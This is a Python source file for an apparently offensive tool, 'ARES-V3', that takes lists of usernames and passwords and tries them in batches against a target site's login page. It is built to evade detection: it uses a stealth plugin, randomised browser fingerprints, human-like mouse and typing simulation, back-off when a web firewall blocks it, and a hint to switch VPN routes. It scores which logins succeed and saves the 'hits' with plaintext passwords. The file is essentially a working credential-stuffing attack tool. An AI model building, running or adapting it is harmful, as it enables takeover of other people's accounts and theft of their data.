import argparse
import asyncio
import csv
import json
import logging
import os
import random
import sys
import time
from datetime import datetime
from typing import Any, Dict, List, Tuple
from playwright.async_api import async_playwright, Browser, BrowserContext, Page
from playwright_stealth import Stealth
from rich.console import Console
from rich.live import Live
from rich.table import Table
from bot.script.keywords import success_keywords, failure_keywords
from bot.network.network_monitor import NetworkMonitor
# -----------------------
# Config / Filenames
# -----------------------
HITS_CSV = "hits.csv"
FAILS_CSV = "fails.csv"
HITS_READABLE = "hits_readable.txt"
FAILS_READABLE = "fails_readable.txt"
RESULTS_JSONL = "ares_results.jsonl"
SNAPSHOT_TEMPLATE = "ares_snapshot_batch_{}.json"
# -----------------------
# Logging
# -----------------------
logging.basicConfig(
    level=logging.INFO,
    format='{"ts": "%(asctime)s", "lvl": "%(levelname)s", "msg": "%(message)s"}',
    handlers=[logging.FileHandler("ares_engine.log"), logging.StreamHandler(sys.stdout)],
)
logger = logging.getLogger("ARES")
console = Console()
# -----------------------
# Utility: prepare files
# -----------------------
def ensure_csv_header(filename: str, header: List[str]):
    try:
        if not os.path.exists(filename):
            with open(filename, "w", newline="") as f:
                writer = csv.writer(f)
                writer.writerow(header)
    except Exception as e:
        logger.error(f"Failed ensuring CSV header for {filename}: {e}")

def append_csv_row(filename: str, row: List[Any]):
    try:
        with open(filename, "a", newline="") as f:
            writer = csv.writer(f)
            writer.writerow(row)
    except Exception as e:
        logger.error(f"Failed append row to {filename}: {e}")

def append_jsonl(filename: str, obj: Dict[str, Any]):
    try:
        with open(filename, "a") as f:
            f.write(json.dumps(obj, default=str) + "\n")
    except Exception as e:
        logger.error(f"Failed append jsonl: {e}")

def append_readable(filename: str, record: Dict[str, Any]):
    """
    Append a human-readable single-line (or multi-line) record to a .txt file.
    """
    try:
        with open(filename, "a", encoding="utf-8") as f:
            ts = record.get("timestamp", datetime.utcnow().isoformat())
            line = record.get("line", "")
            user = record.get("user", "")
            pwd = record.get("pass", record.get("pass_", ""))
            status = record.get("status", "")
            reason = record.get("reason", "")
            score = record.get("details", {}).get("score", "")
            cookie = record.get("details", {}).get("cookie", False)
            storage = record.get("details", {}).get("storage", False)
            dom = record.get("details", {}).get("dom", False)
            url = record.get("details", {}).get("url", False)
            api_probe = record.get("details", {}).get("api_probe", False)

            f.write(f"TIME: {ts}\n")
            f.write(f"LINE: {line} | USER: {user} | PASS: {pwd}\n")
            f.write(f"STATUS: {status} | REASON: {reason} | SCORE: {score}\n")
            f.write(f"SIGNALS -> cookie:{int(bool(cookie))} storage:{int(bool(storage))} dom:{int(bool(dom))} url:{int(bool(url))} api_probe:{int(bool(api_probe))}\n")
            f.write("-" * 80 + "\n")
    except Exception as e:
        logger.error(f"Failed append readable: {e}")


# initialize files headers & starting event
ensure_csv_header(HITS_CSV, ["timestamp", "line", "user", "pass", "reason", "score", "cookie", "storage", "dom", "url", "api_probe"])
ensure_csv_header(FAILS_CSV, ["timestamp", "line", "user", "pass", "reason", "score", "cookie", "storage", "dom", "url", "api_probe"])
# ensure readable files exist
try:
    open(HITS_READABLE, "a").close()
    open(FAILS_READABLE, "a").close()
except Exception:
    pass
append_jsonl(RESULTS_JSONL, {"event": "ares_started", "timestamp": datetime.utcnow().isoformat()})
# -----------------------
# AresEngine
# -----------------------
class AresEngine:


    def __init__(self, target_url: str, dispatcher, headless, threads, batch_size: int = 30,threshold: int = 1, pause_between_batches: float = 0.0,wait_selector: str = None,wait_timeout: int = 5,):

        self.url = target_url.rstrip("/")
        self.dispatcher = dispatcher
        self.accounts: List[Dict[str, Any]] = dispatcher.intial_acc_list()
        self.threads = threads
        self.batch_size = batch_size
        self.threshold = threshold
        self.pause_between_batches = pause_between_batches
        self.wait_selector = wait_selector  # selector to wait for after submit
        self.wait_timeout = wait_timeout  # seconds to wait for the selector
        self.headless = bool(headless)
        self.queue: asyncio.Queue = asyncio.Queue()
        self.global_backoff = False
        self.success_count = 0
        self.total_processed = 0
        self.network_monitor = NetworkMonitor()
        self.ui_state: Dict[str, List[str]] = {}
        self.fir = False
        # stats for final report
        self.cumulative_rows: Dict[str, List[str]] = {}
        self.failure_reasons: Dict[str, int] = {}

    def get_next_batch(self) -> List[Dict[str, Any]]:
        if not self.accounts:
            return []
        batch = self.accounts[: self.batch_size]
        self.accounts = self.accounts[self.batch_size :]
        return batch

    def load_batch_into_queue(self, batch: List[Dict[str, Any]]):
        self.queue = asyncio.Queue()
        for acc in batch:
            self.queue.put_nowait(acc)
            self.ui_state[str(acc["line"])] = [str(acc["line"]), acc["user"], "WAIT", "Batch Loaded"]

    def generate_table(self, rows: Dict[str, List[str]], title: str) -> Table:
        table = Table(expand=True, title=f"[bold white]{title}[/bold white]")
        table.add_column("Line", width=6)
        table.add_column("Account", width=30)
        table.add_column("Status", width=12)
        table.add_column("Engine Telemetry")
        for lid in sorted(rows.keys(), key=int):
            row = rows[lid]
            color = "green" if "HIT" in row[2] else "red" if "FAIL" in row[2] else "magenta" if "ERR" in row[2] else "cyan"
            table.add_row(row[0], row[1], f"[{color}]{row[2]}[/{color}]", row[3])
        return table

    async def find_and_fill_login(self, page: Page, username: str, password: str) -> bool:
        try:
            # candidate selectors for username and password fields
            uname_candidates = [
                "input[name*='user']",
                "input[id*='user']",
                "input[name*='email']",
                "input[id*='email']",
                "input[name*='login']",
                "input[id*='login']",
                "input[placeholder*='email']",
                "input[placeholder*='user']",
                "input[aria-label*='email']",
                "input[aria-label*='user']",
                "input[type='email']",
                "input[type='text']"
            ]
            pwd_candidates = [
                "input[type='password']",
                "input[name*='pass']",
                "input[id*='pass']",
                "input[placeholder*='password']",
                "input[aria-label*='password']",
            ]

            filled_pwd = False
            filled_uname = False
            filled_checkbox = False
            # First try to fill visible password fields (most reliable)
            for ps in pwd_candidates:
                try:
                    locs = page.locator(ps)
                    count = await locs.count()
                except Exception:
                    count = 0
                for i in range(count):
                    loc = locs.nth(i)
                    try:
                        if not await loc.is_visible():
                            continue
                        await loc.fill(password)
                        filled_pwd = True
                        break
                    except Exception:
                        try:
                            await loc.click()
                            await loc.type(password, delay=random.uniform(50, 120))
                            filled_pwd = True
                            break
                        except Exception:
                            continue
                if filled_pwd:
                    break
            # If no visible pwd found, try any password input (maybe offscreen but usable)
            if not filled_pwd:
                for ps in pwd_candidates:
                    try:
                        locs = page.locator(ps)
                        if await locs.count() > 0:
                            loc = locs.first
                            try:
                                await loc.fill(password)
                                filled_pwd = True
                                break
                            except Exception:
                                try:
                                    await loc.click()
                                    await loc.type(password, delay=random.uniform(50, 120))
                                    filled_pwd = True
                                    break
                                except Exception:
                                    continue
                    except Exception:
                        continue
            # Now fill username - prefer selectors nearest to filled password
            if filled_pwd:
                # try to find a username input that is visible and near password input
                try:
                    pwd_first = page.locator("input[type='password']").first
                    # attempt to find previous input sibling (via JS)
                    nearby_filled = False
                    try:
                        result = await page.evaluate(
                            """(u) => {
                                try {
                                    const pwd = document.querySelector("input[type='password']");
                                    if (!pwd) return null;
                                    // search for previous input sibling
                                    let el = pwd.previousElementSibling;
                                    while (el) {
                                        if (el.tagName === 'INPUT') return el.getAttribute('name') || el.getAttribute('id') || el.getAttribute('placeholder') || null;
                                        el = el.previousElementSibling;
                                    }
                                } catch(e){}
                                return null;
                            }""",
                            username,
                        )
                        # attempt to fill any visible text/email inputs now (best-effort)
                    except Exception:
                        result = None
                    # general username selectors
                    for us in uname_candidates:
                        try:
                            locs = page.locator(us)
                            count = await locs.count()
                        except Exception:
                            count = 0
                        for i in range(count):
                            loc = locs.nth(i)
                            try:
                                if not await loc.is_visible():
                                    continue
                                await loc.fill(username)
                                filled_uname = True
                                nearby_filled = True
                                break
                            except Exception:
                                try:
                                    await loc.click()
                                    await loc.type(username, delay=random.uniform(40, 110))
                                    filled_uname = True
                                    nearby_filled = True
                                    break
                                except Exception:
                                    continue
                        if nearby_filled:
                            break
                except Exception:
                    pass
            # If username still not filled, try label for= matching
            if not filled_uname:
                try:
                    labels = await page.locator("label[for]").all()
                    for lbl in labels:
                        try:
                            text = (await lbl.text_content() or "").lower()
                            if any(k in text for k in ["email", "user", "login"]):
                                target = await lbl.get_attribute("for")
                                if target:
                                    selector = f"#{target}"
                                    loc = page.locator(selector).first
                                    if await loc.count() > 0 and await loc.is_visible():
                                        try:
                                            await loc.fill(username)
                                            filled_uname = True
                                            break
                                        except Exception:
                                            pass
                        except Exception:
                            continue
                except Exception:
                    pass

            # final fallback: fill first visible text/email input
            if not filled_uname:
                try:
                    fallback = page.locator("input[type='email'], input[type='text']")
                    cnt = await fallback.count()
                    for i in range(cnt):
                        loc = fallback.nth(i)
                        try:
                            if not await loc.is_visible():
                                continue
                            await loc.fill(username)
                            filled_uname = True
                            break
                        except Exception:
                            continue
                except Exception:
                    pass

            return filled_pwd  # True if password field was filled
        except Exception:
            return False

        if not filled_checkbox:
            try:
                frame = page.frame_locator("iframe")
                fallback = frame.locator("input[type='checkbox']")
                cnt = await fallback.count()
                for i in range(cnt):
                    loc = fallback.nth(i)
                    try:
                        if not await loc.is_visible():
                            continue
                        await loc.click()
                        filled_checkbox = True
                        break
                    except Exception:
                        continue
            except Exception:
                pass

    # Biometric / typing / mouse helpers
    async def __bezier_mouse_move(self, page: Page, x2: float, y2: float):
        steps = random.randint(12, 28)
        for i in range(steps):
            t = i / max(1, steps)
            curr_x = t * x2 + random.uniform(-6, 6)
            curr_y = t * y2 + random.uniform(-6, 6)
            try:
                await page.mouse.move(curr_x, curr_y)
            except Exception:
                pass
            await asyncio.sleep(0.01)

    async def __biometric_type(self, page: Page, selector: str, text: str):
        try:
            locator = page.locator(selector).first
            visible = await locator.is_visible()
            if not visible:
                return
            await locator.click()
            for char in text:
                delay = random.gauss(0.12, 0.04)
                await asyncio.sleep(max(0.03, delay))
                await page.keyboard.type(char)
                if random.random() < 0.02:
                    await asyncio.sleep(0.15)
                    await page.keyboard.press("Backspace")
                    await page.keyboard.type(char)
        except Exception:
            pass

    # Perception discovery (improved - ignores hidden/ghost forms)
    async def __perception_discovery(self, page: Page) -> bool:
        """
        Return True only if form elements are visible and usable.
        Detect hidden/ghost forms and ignore them.
        """
        try:
            # check visible password inputs
            pw_loc = page.locator("input[type='password']")
            try:
                count = await pw_loc.count()
            except Exception:
                count = 0
            for i in range(count):
                try:
                    loc = pw_loc.nth(i)
                    if await loc.is_visible():
                        # bounding box exists means visible in viewport
                        box = await loc.bounding_box()
                        if box and box.get("height", 0) > 1 and box.get("width", 0) > 1:
                            return True
                except Exception:
                    continue
        except Exception:
            pass
        # fallback triggers (login links/buttons)
        triggers = ["text=Log In", "text=Sign In", "button:has-text('Log')", "[aria-label*='Login']"]
        for sel in triggers:
            try:
                trigger = page.locator(sel).first
                if await trigger.is_visible():
                    box = await trigger.bounding_box()
                    if box and box.get("height", 0) > 1 and box.get("width", 0) > 1:
                        # move & click
                        await self.__bezier_mouse_move(page, box["x"], box["y"])
                        try:
                            await trigger.click()
                        except Exception:
                            pass
                        await asyncio.sleep(1.5)
                        # after click, check for visible password again
                        try:
                            pw_loc2 = page.locator("input[type='password']")
                            if await pw_loc2.count() > 0 and await pw_loc2.first.is_visible():
                                return True
                        except Exception:
                            pass
                        return True
            except Exception:
                continue

        return False

    # Deep verify (scored)
    async def __deep_verify(self, page: Page, context: BrowserContext, initial_url: str):

        details = {
            "cookie_diff": False, "storage_diff": False, "api_auth_confirmed": False, "logout_present": False,
            "redirected_away_from_login": False, "password_field_gone": False, "explicit_failure_detected": False, "access_denied_error": False,
            "new_tab_used": False, "url_signal": None, "content_signal": None, "score": 0
        }

        score = 0
        target_page = page

        try:
            # 1️⃣ Detect new tab (non-blocking)
            try:
                new_page = await context.wait_for_event("page", timeout=3000)
                await new_page.wait_for_load_state("domcontentloaded", timeout=9000)
                target_page = new_page
                details["new_tab_used"] = True
            except:
                pass
            # 2️⃣ Stabilize navigation (critical)
            try:
                await target_page.wait_for_load_state("domcontentloaded", timeout=9000)
            except:
                pass

            try:
                await target_page.wait_for_load_state("networkidle", timeout=5000)
            except:
                pass

            await target_page.wait_for_timeout(1000)

            final_url = target_page.url.lower()
            # 3️⃣ URL Pattern Analysis
            url_fail_words = ["error", "failed", "invalid", "denied", "lock", "unauthorized"]
            url_success_words = ["dashboard", "home", "welcome", "account", "profile", "portal"]
            paths = ["/api/me", "/me", "/profile", "/account", "/Registration/Device", "/Device"]

            if any(w in final_url for w in url_fail_words):
                details["url_signal"] = "failed"

            elif any(w in final_url for w in url_success_words):
                details["url_signal"] = "success"
                score += 1
            elif any(w in final_url for w in paths):
                details["url_signal"] = "success"
                print("by path")
                score += 1
            if initial_url.lower() not in final_url:
                details["redirected_away_from_login"] = True
                score += 1
            # 4️⃣ Stable Text Extraction (NO page.content())
            try:
                body_text = await target_page.evaluate(
                    "() => document.body ? document.body.innerText : ''"
                )
                content = body_text.lower() if body_text else ""
            except:
                content = ""

            server_error_keywords = ["Access Denied", "access denied", "Access denied"]

            content_lower = content.lower()
            if any(w in content_lower for w in failure_keywords):
                details["content_signal"] = "failed"
                details["explicit_failure_detected"] = True
                details["score"] = 0
                return False, "Invalid Authentication", details
            
            if any(w.lower() in content_lower for w in server_error_keywords):
                details["access_denied_error"] = True
                return False, "access_denied_error --change vpn route--", details

            if any(w.lower() in content_lower for w in success_keywords):
                details["content_signal"] = "success"
                score += 1.5
                
            try:
                pw_locator = target_page.locator("input[type='password']")
                if await pw_locator.count() > 0:
                    if await pw_locator.first.is_visible(timeout=3000):
                        details["content_signal"] = "failed"
                    else:
                        details["password_field_gone"] = True
                        score += 1
                else:
                    details["password_field_gone"] = True
                    score += 1
            except:
                details["password_field_gone"] = True
                score += 1
            # 7️⃣ Cookie Diff
            try:
                new_cookies = await context.cookies()
                if hasattr(self, "baseline_cookies"):
                    before = {c["name"]: c["value"] for c in self.baseline_cookies}
                    after = {c["name"]: c["value"] for c in new_cookies}

                    for name, val in after.items():
                        if name not in before or before[name] != val:
                            details["cookie_diff"] = True
                            score += 2
                            break
            except:
                pass
            # 8️⃣ Storage Diff
            try:
                new_storage = await target_page.evaluate(
                    "() => ({ local: {...localStorage}, session: {...sessionStorage} })"
                )

                if hasattr(self, "baseline_storage"):
                    if new_storage != self.baseline_storage:
                        details["storage_diff"] = True
                        score += 2
            except:
                pass
            # 9️⃣ Authenticated Endpoint Probe
            # probe_paths = ["/api/me", "/me", "/profile", "/account", "/Registration/Device", "/Device"]

    
            # 🔟 Logout Presence
            logout_selectors = [
                "text=Logout",
                "text=Sign Out",
                "[href*='logout']"
            ]

            for sel in logout_selectors:
                try:
                    if await target_page.locator(sel).first.is_visible(timeout=2000):
                        details["logout_present"] = True
                        score += 2
                        break
                except:
                    continue
            # 11️⃣ Final Decision
            details["score"] = score

            strong_signals = sum([
                details["api_auth_confirmed"],
                details["cookie_diff"],
                details["storage_diff"],
                details["logout_present"]
            ])

            if strong_signals >= 2 and score >= 5:
                return True, f"Strong Auth Confirmed (score={score})", details

            if score >= 3:
                return True, f"Likely Authenticated (score={score})", details
            
            return False, f"Weak or No Auth Evidence (score={score})", details
        except Exception as e:
            return False, f"Verification error: {str(e)}", details

    # Save hit/fail helpers (CSV, JSONL, readable)

    def save_hit_fail(self, line: str, user: str, pwd: str, status: str, reason: str, details: Dict[str, Any]):
        ts = datetime.utcnow().isoformat()
        row = [
            ts, line, user, pwd, reason, details.get("score", 0),
            int(bool(details.get("cookie"))),
            int(bool(details.get("storage"))),
            int(bool(details.get("dom"))),
            int(bool(details.get("url"))),
            int(bool(details.get("api_probe"))),
        ]
        rec = {
            "timestamp": ts,"line": line,"user": user, "pass": pwd, "status": status, "reason": reason,
            "details": details,
        }
        if status == "HIT":
            append_csv_row(HITS_CSV, row)
            append_readable(HITS_READABLE, rec)
        else:
            append_csv_row(FAILS_CSV, row)
            append_readable(FAILS_READABLE, rec)

        append_jsonl(RESULTS_JSONL, rec)

    # Worker

    #Verification error
    async def worker(self, worker_id: int, browser: Browser):
        while True:
            try:
                while self.global_backoff:
                    await asyncio.sleep(random.randint(5, 10))
                    self.global_backoff = False

                acc = self.queue.get_nowait()
            except asyncio.QueueEmpty:
                break

            lid = str(acc["line"])
            context = None
            try:
                context = await browser.new_context(
                    user_agent=f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) Chrome/12{random.randint(1,9)}.0.0.0 Safari/537.36",
                    viewport={"width": random.choice([1366, 1920]), "height": random.choice([768, 1080])},
                )
                page = await context.new_page()
                # SPEED OPTIMIZATION
                await page.route(
                    "**/*",
                    lambda route: (
                        route.abort()
                        if route.request.resource_type in ["image", "media", "font", "stylesheet"]
                        else route.continue_()
                    ),
                )
            except Exception as e:
                logger.error(f"Browser context/page create error: {e}")
                # mark as error and continue
                self.ui_state[lid] = [lid, acc.get("user"), "ERR", "Browser Err"]
                self.save_hit_fail(lid, acc.get("user"), acc.get("pass_"), "ERR", "Browser Err", {"score": 0})
                continue

            stealth = Stealth()
            try:
                await stealth.apply_stealth_async(page)
            except Exception:
                # ignore stealth errors
                pass
            try:
                self.update_ui(lid, "📡 CONN", "Negotiating TLS")
                response = await page.goto(self.url, wait_until="domcontentloaded", timeout=45000)
                # WAF handlingself.update_ui(lid, "📡 CONN", "Negotiating TLS")
                response = await page.goto(self.url, wait_until="domcontentloaded", timeout=45000)
                if response and response.status in [403, 429]:
                    self.global_backoff = True
                    self.update_ui(lid, "🛡️ WAF", f"Rate {response.status}")
                    # requeue once and continue
                    await self.queue.put(acc)
                    await asyncio.sleep(random.uniform(2, 4))
                    continue
                # find & fill using heuristics
                filled = False
                try:
                    filled = await self.find_and_fill_login(page, acc.get("user"), acc.get("pass_"))
                except Exception:
                    filled = False
                # If find_and_fill_login failed to find visible password, fall back to perception discovery + typing
                if not filled and await self.__perception_discovery(page):
                    # try respectful typing fallback
                    self.update_ui(lid, "⌨️ FILL", "Biometric Input")
                    await self.__biometric_type(page, "input[name*='user'], input[type='text'], input[type='email']", acc.get("user"))
                    await asyncio.sleep(random.uniform(0.4, 0.8))
                    await self.__biometric_type(page, "input[type='password']", acc.get("pass_"))

                # if still not filled, attempt one more aggressive find_and_fill_login
                if not filled:
                    try:
                        filled = await self.find_and_fill_login(page, acc.get("user"), acc.get("pass_"))
                    except Exception:
                        filled = False

                if not filled:
                    # Could not fill password field; record and continue
                    self.update_ui(lid, "⚠️ SKIP", "Form Not Found/Hidden")
                    reason = "Form Not Found/Hidden"
                    details = {"score": 0, "cookie": False, "storage": False, "dom": False, "url": False, "api_probe": False}
                    self.save_hit_fail(lid, acc.get("user"), acc.get("pass_"), "FAIL", reason, details)
                    self.failure_reasons[reason] = self.failure_reasons.get(reason, 0) + 1
                    continue
                # submit (Enter)
                pre_submit_url = page.url.lower()
                try:
                    await page.keyboard.press("Enter")
                except Exception:
                    # fallback: click submit button
                    try:
                        submit_btn = page.locator("button[type='submit']").first
                        if await submit_btn.is_visible():
                            await submit_btn.click()
                    except Exception:
                        pass

                self.update_ui(lid, "⏳ WAIT", "Handshaking...")
                # If a wait_selector was configured, wait for it before verifying
                if self.wait_selector:
                    try:
                        # playwright expects ms
                        await page.wait_for_function(
                            f"() => document.body.innerText.includes('{self.wait_selector}')",
                            timeout=int(self.wait_timeout * 10000)
                        )
                        # small buffer
                        await asyncio.sleep(0.5)
                    except Exception:
                        # we didn't find the selector within timeout; mark it but continue to verify
                        self.update_ui(lid, "⏳ WAIT", f"Wait timeout for {self.wait_selector}")
                        # small extra delay to give site a chance
                        await asyncio.sleep(1.0)
                try:
                    await page.wait_for_load_state("networkidle", timeout=15000)
                except Exception:
                    pass

                # extra safeguard for dynamic sites
                try:
                    await page.wait_for_function(
                        "() => document.readyState === 'complete'"
                    )
                except Exception:
                    pass

                # small buffer for async UI rendering
                await asyncio.sleep(random.uniform(0.8, 1.6))

                # now verify AFTER full content is rendered
                success, reason, details = await self.__deep_verify(page, context, pre_submit_url)
                if success:
                    status_label = "HIT"
                    self.success_count += 1
                else:
                    status_label = "FAIL"

                # set UI
                self.update_ui(lid, status_label, reason)

                # save structured record + hits/fails CSV & readable files
                self.save_hit_fail(lid, acc.get("user"), acc.get("pass_"), "HIT" if success else "FAIL", reason, details)

                if not success:
                    self.failure_reasons[reason] = self.failure_reasons.get(reason, 0) + 1

            except Exception as e:
                errmsg = str(e)[:200]
                self.update_ui(lid, "Failed", errmsg)
                details = {"score": 0, "cookie": False, "storage": False, "dom": False, "url": False, "api_probe": False}
                self.save_hit_fail(lid, acc.get("user"), acc.get("pass_"), "ERR", errmsg, details)
                self.failure_reasons[errmsg] = self.failure_reasons.get(errmsg, 0) + 1
            finally:
                try:
                    await context.close()
                except Exception:
                    pass
                try:
                    self.queue.task_done()
                except Exception:
                    pass
                self.total_processed += 1
                await asyncio.sleep(random.uniform(1.2, 2.8))

    def update_ui(self, lid, stat, info):
        if lid in self.ui_state:
            self.ui_state[lid][2] = stat
            self.ui_state[lid][3] = info
            self.fir = True

    # Final report generator

    def generate_report(self) -> Dict[str, Any]:
        hits = 0
        fails = 0
        try:
            with open(HITS_CSV, "r") as f:
                hits = sum(1 for _ in f) - 1  # subtract header
            with open(FAILS_CSV, "r") as f:
                fails = sum(1 for _ in f) - 1
        except Exception:
            pass

        return {
            "total_processed": self.total_processed,
            "total_hits_csv": hits,
            "total_fails_csv": fails,
            "success_count_counter": self.success_count,
            "failure_reason_counts": self.failure_reasons,
        }
    # Main run loop (batches + live)
    async def run(self):
        async with async_playwright() as p:
            # run headful=False by default; you can change to headful for debugging
            browser = await p.chromium.launch(
                headless=self.headless, args=["--disable-blink-features=AutomationControlled"]
            )

            batch_idx = 0
            while True:
                batch = self.get_next_batch()
                if not batch:
                    break
                batch_idx += 1
                self.load_batch_into_queue(batch)
                batch_ui_rows = dict(self.ui_state)

                # create workers
                worker_tasks = [asyncio.create_task(self.worker(i, browser)) for i in range(self.threads)]

                # live view
                net_status = self.network_monitor.get_status_text()
                title = f"ARES-V3 APEX CLUSTER - Batch {batch_idx} | {net_status}"
                with Live(self.generate_table(batch_ui_rows, ""), refresh_per_second=4) as live:
                    while not all(t.done() for t in worker_tasks):
                        batch_ui_rows.update(self.ui_state)
                        net_status = self.network_monitor.get_status_text()
                        title = f"ARES-V3 APEX CLUSTER - Batch {batch_idx} | {net_status}"
                        live.update(self.generate_table(batch_ui_rows, title))
                        await asyncio.sleep(0.5)
                    batch_ui_rows.update(self.ui_state)
                    net_status = self.network_monitor.get_status_text()
                    title = f"ARES-V3 APEX CLUSTER - Batch {batch_idx} | {net_status}"
                    live.update(self.generate_table(batch_ui_rows, title))

                # wait workers to finish and gather errors
                await asyncio.gather(*worker_tasks)

                # append to cumulative
                self.cumulative_rows.update(batch_ui_rows)

                # print a static snapshot (remains in terminal scrollback)
                console.print("\n")
                console.print(self.generate_table(batch_ui_rows, f"Batch {batch_idx} Snapshot"))
                try:
                    low = min(int(k) for k in batch_ui_rows.keys())
                    high = max(int(k) for k in batch_ui_rows.keys())
                    console.print(f"[bold]Batch {batch_idx} complete. (lines {low} - {high})[/bold]\n")
                except Exception:
                    console.print(f"[bold]Batch {batch_idx} complete.[/bold]\n")

                # save JSON snapshot (pretty)
                try:
                    out = {k: {"line": v[0], "user": v[1], "status": v[2], "info": v[3]} for k, v in self.cumulative_rows.items()}
                    with open(SNAPSHOT_TEMPLATE.format(batch_idx), "w", encoding="utf-8") as sf:
                        json.dump(out, sf, indent=2, ensure_ascii=False)
                except Exception:
                    pass

                # clear per-batch ui_state so next batch shows a fresh table
                self.ui_state = {}

                # pause between batches if requested
                if self.pause_between_batches and (self.accounts or batch_idx > 0):
                    await asyncio.sleep(self.pause_between_batches)

            # all batches done
            try:
                await browser.close()
            except Exception:
                pass

            # final cumulative print
            if self.cumulative_rows:
                console.print("\n[bold white]FINAL CUMULATIVE RESULTS[/bold white]")
                console.print(self.generate_table(self.cumulative_rows, "ARES-V3 CUMULATIVE RESULTS"))

            # final report write and print
            report = self.generate_report()
            append_jsonl(RESULTS_JSONL, {"event": "ares_finished", "timestamp": datetime.utcnow().isoformat(), "report": report})
            console.print(f"\n[bold green]🏁 All batches processed. Total Hits (counter): {self.success_count}[/bold green]")
            console.print(f"[bold]Report Summary:[/bold] {json.dumps(report, indent=2)}")


# -----------------------
# Simple dispatcher stub for local testing (replace with your dispatcher)
# -----------------------
class SimpleDispatcher:
    def __init__(self, accounts: List[Dict[str, Any]]):
        self._accounts = accounts

    def intial_acc_list(self):
        # return a shallow copy
        return list(self._accounts)


# -----------------------
# CLI entry
# -----------------------
def parse_args():
    ap = argparse.ArgumentParser(description="ARES-V3 Batch Login Engine (improved)")
    ap.add_argument("--url", required=True, help="Target base URL (e.g. https://example.com)")
    ap.add_argument("--threads", type=int, default=3, help="Concurrent browser workers")
    ap.add_argument("--batch-size", type=int, default=30, help="Accounts per batch")
    ap.add_argument("--threshold", type=int, default=3, help="Verification score threshold")
    ap.add_argument("--pause", type=float, default=0.0, help="Pause seconds between batches")
    ap.add_argument("--demo", action="store_true", help="Run demo with fake accounts (local testing only)")
    ap.add_argument("--wait-selector", type=str, default=None, help="CSS selector to wait for after submit (prevents skipping)")
    ap.add_argument("--wait-timeout", type=int, default=10, help="Seconds to wait for --wait-selector before timing out")
    return ap.parse_args()


async def main():
    args = parse_args()

    if args.demo:
        # generate fake accounts for demo (replace with real dispatcher in production)
        demo_accounts = []
        for i in range(1, 101):  # 100 demo accounts
            demo_accounts.append({"line": i, "user": f"user{i}@example.com", "pass_": f"P@ssw0rd{i}"})
        dispatcher = SimpleDispatcher(demo_accounts)
    else:
        # The caller must provide a dispatcher object supporting intial_acc_list()
        # For convenience, try to import 'dispatcher' from the local module name 'dispatcher'
        try:
            import dispatcher as user_dispatcher  # type: ignore
            dispatcher = user_dispatcher
        except Exception:
            console.print("[red]No dispatcher provided and --demo not set. Exiting.[/red]")
            return

    engine = AresEngine(
        target_url=args.url,
        dispatcher=dispatcher,
        threads=args.threads,
        batch_size=args.batch_size,
        threshold=args.threshold,
        pause_between_batches=args.pause,
        wait_selector=args.wait_selector,
        wait_timeout=args.wait_timeout,
    )

    await engine.run()


if __name__ == "__main__":
    try:
        asyncio.run(main())
    except KeyboardInterrupt:
        console.print("\n[bold yellow]Interrupted by user[/bold yellow]")